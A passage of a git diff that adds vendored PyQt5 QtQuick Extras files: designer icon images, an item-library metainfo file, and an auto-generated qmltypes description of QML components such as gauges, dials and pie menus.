b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/circulargauge-icon.png new file mode 100644 index 00000000..2d0a31e9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/circulargauge-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/circulargauge-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/circulargauge-icon16.png new file mode 100644 index 00000000..713a22f9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/circulargauge-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/delaybutton-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/delaybutton-icon.png new file mode 100644 index 00000000..8532b64d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/delaybutton-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/delaybutton-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/delaybutton-icon16.png new file mode 100644 index 00000000..569d80d1 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/delaybutton-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/dial-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/dial-icon.png new file mode 100644 index 00000000..7a1eb98b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/dial-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/dial-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/dial-icon16.png new file mode 100644 index 00000000..7036a6a2 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/dial-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/gauge-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/gauge-icon.png new file mode 100644 index 00000000..8b63823d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/gauge-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/gauge-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/gauge-icon16.png new file mode 100644 index 00000000..467d1f52 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/gauge-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/picture-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/picture-icon.png new file mode 100644 index 00000000..2a719944 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/picture-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/picture-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/picture-icon16.png new file mode 100644 index 00000000..6544fbb5 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/picture-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/piemenu-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/piemenu-icon.png new file mode 100644 index 00000000..23535573 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/piemenu-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/piemenu-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/piemenu-icon16.png new file mode 100644 index 00000000..c7b79cba Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/piemenu-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/statusindicator-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/statusindicator-icon.png new file mode 100644 index 00000000..0d8cb946 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/statusindicator-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/statusindicator-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/statusindicator-icon16.png new file mode 100644 index 00000000..cc7fabeb Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/statusindicator-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/togglebutton-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/togglebutton-icon.png new file mode 100644 index 00000000..9b7c9625 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/togglebutton-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/togglebutton-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/togglebutton-icon16.png new file mode 100644 index 00000000..afe9b716 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/togglebutton-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/tumbler-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/tumbler-icon.png new file mode 100644 index 00000000..56359d57 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/tumbler-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/tumbler-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/tumbler-icon16.png new file mode 100644 index 00000000..4ac31735 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/tumbler-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/qtquickextras.metainfo b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/qtquickextras.metainfo new file mode 100644 index 00000000..c2e89297 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/qtquickextras.metainfo @@ -0,0 +1,122 @@ +MetaInfo { + Type { + name: "QtQuick.Extras.DelayButton" + icon: "images/delaybutton-icon16.png" + + ItemLibraryEntry { + name: "Delay Button" + category: "Qt Quick - Extras" + libraryIcon: "images/delaybutton-icon.png" + version: "1.0" + requiredImport: "QtQuick.Extras" + + Property { + name: "text" + type: "binding" + value: "qsTr(\"Button\")" + } + } + } + Type { + name: "QtQuick.Extras.ToggleButton" + icon: "images/togglebutton-icon16.png" + + ItemLibraryEntry { + name: "Toggle Button" + category: "Qt Quick - Extras" + libraryIcon: "images/togglebutton-icon.png" + version: "1.0" + requiredImport: "QtQuick.Extras" + + Property { + name: "text" + type: "binding" + value: "qsTr(\"Button\")" + } + } + } + Type { + name: "QtQuick.Extras.Gauge" + icon: "images/gauge-icon16.png" + + ItemLibraryEntry { + name: "Gauge" + category: "Qt Quick - Extras" + libraryIcon: "images/gauge-icon.png" + version: "1.0" + requiredImport: "QtQuick.Extras" + } + } + Type { + name: "QtQuick.Extras.CircularGauge" + icon: "images/circulargauge-icon16.png" + + ItemLibraryEntry { + name: "Circular Gauge" + category: "Qt Quick - Extras" + libraryIcon: "images/circulargauge-icon.png" + version: "1.0" + requiredImport: "QtQuick.Extras" + } + } + Type { + name: "QtQuick.Extras.PieMenu" + icon: "images/piemenu-icon16.png" + + ItemLibraryEntry { + name: "Pie Menu" + category: "Qt Quick - Extras" + libraryIcon: "images/piemenu-icon.png" + version: "1.0" + requiredImport: "QtQuick.Extras" + } + } + Type { + name: "QtQuick.Extras.Dial" + icon: "images/dial-icon16.png" + + ItemLibraryEntry { + name: "Dial" + category: "Qt Quick - Extras" + libraryIcon: "images/dial-icon.png" + version: "1.0" + requiredImport: "QtQuick.Extras" + } + } + Type { + name: "QtQuick.Extras.StatusIndicator" + icon: "images/statusindicator-icon16.png" + + ItemLibraryEntry { + name: "Status Indicator" + category: "Qt Quick - Extras" + libraryIcon: "images/statusindicator-icon.png" + version: "1.1" + requiredImport: "QtQuick.Extras" + } + } + Type { + name: "QtQuick.Extras.Tumbler" + icon: "images/tumbler-icon16.png" + + ItemLibraryEntry { + name: "Tumbler" + category: "Qt Quick - Extras" + libraryIcon: "images/tumbler-icon.png" + version: "1.2" + requiredImport: "QtQuick.Extras" + } + } + Type { + name: "QtQuick.Extras.Picture" + icon: "images/picture-icon16.png" + + ItemLibraryEntry { + name: "Picture" + category: "Qt Quick - Extras" + libraryIcon: "images/picture-icon.png" + version: "1.3" + requiredImport: "QtQuick.Extras" + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/plugins.qmltypes new file mode 100644 index 00000000..f16f0b5c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/plugins.qmltypes @@ -0,0 +1,657 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtQuick.Extras 1.4' + +Module { + dependencies: [ + "QtGraphicalEffects 1.12", + "QtQml 2.14", + "QtQml.Models 2.2", + "QtQuick 2.9", + "QtQuick.Controls 1.5", + "QtQuick.Controls.Styles 1.4", + "QtQuick.Layouts 1.1", + "QtQuick.Window 2.2" + ] + Component { + name: "QQuickActivationMode" + exports: ["QtQuick.Extras/ActivationMode 1.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "ActivationMode" + values: { + "ActivateOnPress": 0, + "ActivateOnRelease": 1, + "ActivateOnClick": 2 + } + } + } + Component { + name: "QQuickCircularProgressBar" + defaultProperty: "data" + prototype: "QQuickPaintedItem" + exports: ["QtQuick.Extras.Private.CppUtils/CircularProgressBar 1.1"] + exportMetaObjectRevisions: [0] + Property { name: "progress"; type: "double" } + Property { name: "barWidth"; type: "double" } + Property { name: "inset"; type: "double" } + Property { name: "minimumValueAngle"; type: "double" } + Property { name: "maximumValueAngle"; type: "double" } + Property { name: "backgroundColor"; type: "QColor" } + Signal { + name: "progressChanged" + Parameter { name: "progress"; type: "double" } + } + Signal { + name: "barWidthChanged" + Parameter { name: "barWidth"; type: "double" } + } + Signal { + name: "insetChanged" + Parameter { name: "inset"; type: "double" } + } + Signal { + name: "minimumValueAngleChanged" + Parameter { name: "minimumValueAngle"; type: "double" } + } + Signal { + name: "maximumValueAngleChanged" + Parameter { name: "maximumValueAngle"; type: "double" } + } + Signal { + name: "backgroundColorChanged" + Parameter { name: "backgroundColor"; type: "QColor" } + } + Method { name: "clearStops" } + Method { + name: "addStop" + Parameter { name: "position"; type: "double" } + Parameter { name: "color"; type: "QColor" } + } + Method { name: "redraw" } + } + Component { + name: "QQuickFlatProgressBar" + defaultProperty: "data" + prototype: "QQuickPaintedItem" + exports: ["QtQuick.Extras.Private.CppUtils/FlatProgressBar 1.1"] + exportMetaObjectRevisions: [0] + Property { name: "stripeOffset"; type: "double" } + Property { name: "progress"; type: "double" } + Property { name: "indeterminate"; type: "bool" } + Signal { + name: "stripeOffsetChanged" + Parameter { name: "stripeOffset"; type: "double" } + } + Signal { + name: "progressChanged" + Parameter { name: "progress"; type: "double" } + } + Signal { + name: "indeterminateChanged" + Parameter { name: "indeterminate"; type: "bool" } + } + Method { name: "repaint" } + Method { name: "restartAnimation" } + Method { name: "onVisibleChanged" } + Method { name: "onWidthChanged" } + Method { name: "onHeightChanged" } + } + Component { + name: "QQuickMathUtils" + prototype: "QObject" + exports: ["QtQuick.Extras.Private.CppUtils/MathUtils 1.0"] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: [0] + Property { name: "pi2"; type: "double"; isReadonly: true } + Method { + name: "degToRad" + type: "double" + Parameter { name: "degrees"; type: "double" } + } + Method { + name: "degToRadOffset" + type: "double" + Parameter { name: "degrees"; type: "double" } + } + Method { + name: "radToDeg" + type: "double" + Parameter { name: "radians"; type: "double" } + } + Method { + name: "radToDegOffset" + type: "double" + Parameter { name: "radians"; type: "double" } + } + Method { + name: "centerAlongCircle" + type: "QPointF" + Parameter { name: "xCenter"; type: "double" } + Parameter { name: "yCenter"; type: "double" } + Parameter { name: "width"; type: "double" } + Parameter { name: "height"; type: "double" } + Parameter { name: "angleOnCircle"; type: "double" } + Parameter { name: "distanceAlongRadius"; type: "double" } + } + Method { + name: "roundEven" + type: "double" + Parameter { name: "number"; type: "double" } + } + } + Component { + name: "QQuickMouseThief" + prototype: "QObject" + exports: ["QtQuick.Extras.Private.CppUtils/MouseThief 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "receivedPressEvent"; type: "bool" } + Signal { + name: "pressed" + Parameter { name: "mouseX"; type: "int" } + Parameter { name: "mouseY"; type: "int" } + } + Signal { + name: "released" + Parameter { name: "mouseX"; type: "int" } + Parameter { name: "mouseY"; type: "int" } + } + Signal { + name: "clicked" + Parameter { name: "mouseX"; type: "int" } + Parameter { name: "mouseY"; type: "int" } + } + Signal { + name: "touchUpdate" + Parameter { name: "mouseX"; type: "int" } + Parameter { name: "mouseY"; type: "int" } + } + Signal { name: "handledEventChanged" } + Method { + name: "grabMouse" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Method { name: "ungrabMouse" } + Method { name: "acceptCurrentEvent" } + } + Component { + name: "QQuickPicture" + defaultProperty: "data" + prototype: "QQuickPaintedItem" + exports: ["QtQuick.Extras/Picture 1.4"] + exportMetaObjectRevisions: [0] + Property { name: "source"; type: "QUrl" } + Property { name: "color"; type: "QColor" } + } + Component { + name: "QQuickTriggerMode" + exports: ["QtQuick.Extras/TriggerMode 1.3"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "TriggerMode" + values: { + "TriggerOnPress": 0, + "TriggerOnRelease": 1, + "TriggerOnClick": 2 + } + } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Extras.Private/CircularButton 1.0" + exports: ["QtQuick.Extras.Private/CircularButton 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "isDefault"; type: "bool" } + Property { name: "menu"; type: "Menu_QMLTYPE_38"; isPointer: true } + Property { name: "checkable"; type: "bool" } + Property { name: "checked"; type: "bool" } + Property { name: "exclusiveGroup"; type: "QQuickExclusiveGroup1"; isPointer: true } + Property { name: "action"; type: "QQuickAction1"; isPointer: true } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "text"; type: "string" } + Property { name: "tooltip"; type: "string" } + Property { name: "iconSource"; type: "QUrl" } + Property { name: "iconName"; type: "string" } + Property { name: "__position"; type: "string" } + Property { name: "__iconOverriden"; type: "bool"; isReadonly: true } + Property { name: "__action"; type: "QQuickAction1"; isPointer: true } + Property { name: "__iconAction"; type: "QQuickAction1"; isReadonly: true; isPointer: true } + Property { name: "__behavior"; type: "QVariant" } + Property { name: "__effectivePressed"; type: "bool" } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Signal { name: "clicked" } + Method { name: "accessiblePressAction"; type: "QVariant" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QObject" + name: "QtQuick.Extras.Private/CircularButtonStyleHelper 1.0" + exports: ["QtQuick.Extras.Private/CircularButtonStyleHelper 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + Property { name: "control"; type: "QQuickItem"; isPointer: true } + Property { name: "buttonColorUpTop"; type: "QColor" } + Property { name: "buttonColorUpBottom"; type: "QColor" } + Property { name: "buttonColorDownTop"; type: "QColor" } + Property { name: "buttonColorDownBottom"; type: "QColor" } + Property { name: "outerArcColorTop"; type: "QColor" } + Property { name: "outerArcColorBottom"; type: "QColor" } + Property { name: "innerArcColorTop"; type: "QColor" } + Property { name: "innerArcColorBottom"; type: "QColor" } + Property { name: "innerArcColorBottomStop"; type: "double" } + Property { name: "shineColor"; type: "QColor" } + Property { name: "smallestAxis"; type: "double" } + Property { name: "outerArcLineWidth"; type: "double" } + Property { name: "innerArcLineWidth"; type: "double" } + Property { name: "shineArcLineWidth"; type: "double" } + Property { name: "implicitWidth"; type: "double" } + Property { name: "implicitHeight"; type: "double" } + Property { name: "textColorUp"; type: "QColor" } + Property { name: "textColorDown"; type: "QColor" } + Property { name: "textRaisedColorUp"; type: "QColor" } + Property { name: "textRaisedColorDown"; type: "QColor" } + Property { name: "radius"; type: "double" } + Property { name: "halfRadius"; type: "double" } + Property { name: "outerArcRadius"; type: "double" } + Property { name: "innerArcRadius"; type: "double" } + Property { name: "shineArcRadius"; type: "double" } + Property { name: "zeroAngle"; type: "double" } + Property { name: "buttonColorTop"; type: "QColor" } + Property { name: "buttonColorBottom"; type: "QColor" } + Method { + name: "toPixels" + type: "QVariant" + Parameter { name: "percentageOfSmallestAxis"; type: "QVariant" } + } + Method { + name: "paintBackground" + type: "QVariant" + Parameter { name: "ctx"; type: "QVariant" } + } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Extras/CircularGauge 1.0" + exports: ["QtQuick.Extras/CircularGauge 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "tickmarksVisible"; type: "bool" } + Property { name: "minimumValue"; type: "double" } + Property { name: "maximumValue"; type: "double" } + Property { name: "value"; type: "double" } + Property { name: "stepSize"; type: "double" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Extras.Private/CircularTickmarkLabel 1.0" + exports: ["QtQuick.Extras.Private/CircularTickmarkLabel 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "minimumValueAngle"; type: "double" } + Property { name: "maximumValueAngle"; type: "double" } + Property { name: "angleRange"; type: "double"; isReadonly: true } + Property { name: "tickmarkStepSize"; type: "double" } + Property { name: "tickmarkInset"; type: "double" } + Property { name: "tickmarkCount"; type: "int"; isReadonly: true } + Property { name: "minorTickmarkCount"; type: "int" } + Property { name: "minorTickmarkInset"; type: "double" } + Property { name: "labelInset"; type: "double" } + Property { name: "labelStepSize"; type: "double" } + Property { name: "labelCount"; type: "int"; isReadonly: true } + Property { name: "__tickmarkCount"; type: "double"; isReadonly: true } + Property { name: "tickmarksVisible"; type: "bool" } + Property { name: "minimumValue"; type: "double" } + Property { name: "maximumValue"; type: "double" } + Property { name: "stepSize"; type: "double" } + Method { + name: "valueToAngle" + type: "QVariant" + Parameter { name: "value"; type: "QVariant" } + } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Extras/DelayButton 1.0" + exports: ["QtQuick.Extras/DelayButton 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "delay"; type: "int" } + Property { name: "__progress"; type: "double" } + Property { name: "progress"; type: "double"; isReadonly: true } + Signal { name: "activated" } + Property { name: "isDefault"; type: "bool" } + Property { name: "menu"; type: "Menu_QMLTYPE_38"; isPointer: true } + Property { name: "checkable"; type: "bool" } + Property { name: "checked"; type: "bool" } + Property { name: "exclusiveGroup"; type: "QQuickExclusiveGroup1"; isPointer: true } + Property { name: "action"; type: "QQuickAction1"; isPointer: true } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "text"; type: "string" } + Property { name: "tooltip"; type: "string" } + Property { name: "iconSource"; type: "QUrl" } + Property { name: "iconName"; type: "string" } + Property { name: "__position"; type: "string" } + Property { name: "__iconOverriden"; type: "bool"; isReadonly: true } + Property { name: "__action"; type: "QQuickAction1"; isPointer: true } + Property { name: "__iconAction"; type: "QQuickAction1"; isReadonly: true; isPointer: true } + Property { name: "__behavior"; type: "QVariant" } + Property { name: "__effectivePressed"; type: "bool" } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Signal { name: "clicked" } + Method { name: "accessiblePressAction"; type: "QVariant" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Extras/Dial 1.0" + exports: ["QtQuick.Extras/Dial 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "__wrap"; type: "bool" } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "tickmarksVisible"; type: "bool" } + Property { name: "value"; type: "double" } + Property { name: "minimumValue"; type: "double" } + Property { name: "maximumValue"; type: "double" } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Property { name: "stepSize"; type: "double" } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Extras/Dial 1.1" + exports: ["QtQuick.Extras/Dial 1.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "data" + Property { name: "__wrap"; type: "bool" } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "tickmarksVisible"; type: "bool" } + Property { name: "value"; type: "double" } + Property { name: "minimumValue"; type: "double" } + Property { name: "maximumValue"; type: "double" } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Property { name: "stepSize"; type: "double" } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Extras/Gauge 1.0" + exports: ["QtQuick.Extras/Gauge 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "orientation"; type: "int" } + Property { name: "tickmarkAlignment"; type: "int" } + Property { name: "__tickmarkAlignment"; type: "int" } + Property { name: "__tickmarksInside"; type: "bool" } + Property { name: "tickmarkStepSize"; type: "double" } + Property { name: "minorTickmarkCount"; type: "int" } + Property { name: "formatValue"; type: "QVariant" } + Property { name: "minimumValue"; type: "double" } + Property { name: "value"; type: "double" } + Property { name: "maximumValue"; type: "double" } + Property { name: "font"; type: "QFont" } + Property { name: "__hiddenText"; type: "QQuickText"; isReadonly: true; isPointer: true } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Extras/PieMenu 1.0" + exports: ["QtQuick.Extras/PieMenu 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "menuItems" + Property { name: "selectionAngle"; type: "double"; isReadonly: true } + Property { name: "triggerMode"; type: "int" } + Property { name: "title"; type: "string" } + Property { name: "boundingItem"; type: "QQuickItem"; isPointer: true } + Property { name: "__protectedScope"; type: "QObject"; isPointer: true } + Property { name: "activationMode"; type: "int" } + Property { name: "menuItems"; type: "QQuickMenuItem1"; isList: true; isReadonly: true } + Property { name: "currentIndex"; type: "int"; isReadonly: true } + Property { name: "currentItem"; type: "QQuickMenuItem1"; isReadonly: true; isPointer: true } + Property { name: "__mouseThief"; type: "QQuickMouseThief"; isReadonly: true; isPointer: true } + Method { + name: "popup" + type: "QVariant" + Parameter { name: "x"; type: "QVariant" } + Parameter { name: "y"; type: "QVariant" } + } + Method { + name: "addItem" + type: "QVariant" + Parameter { name: "text"; type: "QVariant" } + } + Method { + name: "insertItem" + type: "QVariant" + Parameter { name: "before"; type: "QVariant" } + Parameter { name: "text"; type: "QVariant" } + } + Method { + name: "removeItem" + type: "QVariant" + Parameter { name: "item"; type: "QVariant" } + } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickLoader" + name: "QtQuick.Extras.Private/PieMenuIcon 1.0" + exports: ["QtQuick.Extras.Private/PieMenuIcon 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "PieMenu_QMLTYPE_98"; isPointer: true } + Property { name: "styleData"; type: "QObject"; isPointer: true } + Property { name: "iconSource"; type: "string"; isReadonly: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Extras/StatusIndicator 1.0" + exports: ["QtQuick.Extras/StatusIndicator 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "active"; type: "bool" } + Property { name: "color"; type: "QColor" } + Property { name: "on"; type: "bool" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Extras/StatusIndicator 1.1" + exports: ["QtQuick.Extras/StatusIndicator 1.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "data" + Property { name: "active"; type: "bool" } + Property { name: "color"; type: "QColor" } + Property { name: "on"; type: "bool" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickText" + name: "QtQuick.Extras.Private/TextSingleton 1.0" + exports: ["QtQuick.Extras.Private/TextSingleton 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + isCreatable: false + isSingleton: true + defaultProperty: "data" + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Extras/ToggleButton 1.0" + exports: ["QtQuick.Extras/ToggleButton 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "isDefault"; type: "bool" } + Property { name: "menu"; type: "Menu_QMLTYPE_38"; isPointer: true } + Property { name: "checkable"; type: "bool" } + Property { name: "checked"; type: "bool" } + Property { name: "exclusiveGroup"; type: "QQuickExclusiveGroup1"; isPointer: true } + Property { name: "action"; type: "QQuickAction1"; isPointer: true } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "text"; type: "string" } + Property { name: "tooltip"; type: "string" } + Property { name: "iconSource"; type: "QUrl" } + Property { name: "iconName"; type: "string" } + Property { name: "__position"; type: "string" } + Property { name: "__iconOverriden"; type: "bool"; isReadonly: true } + Property { name: "__action"; type: "QQuickAction1"; isPointer: true } + Property { name: "__iconAction"; type: "QQuickAction1"; isReadonly: true; isPointer: true } + Property { name: "__behavior"; type: "QVariant" } + Property { name: "__effectivePressed"; type: "bool" } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Signal { name: "clicked" } + Method { name: "accessiblePressAction"; 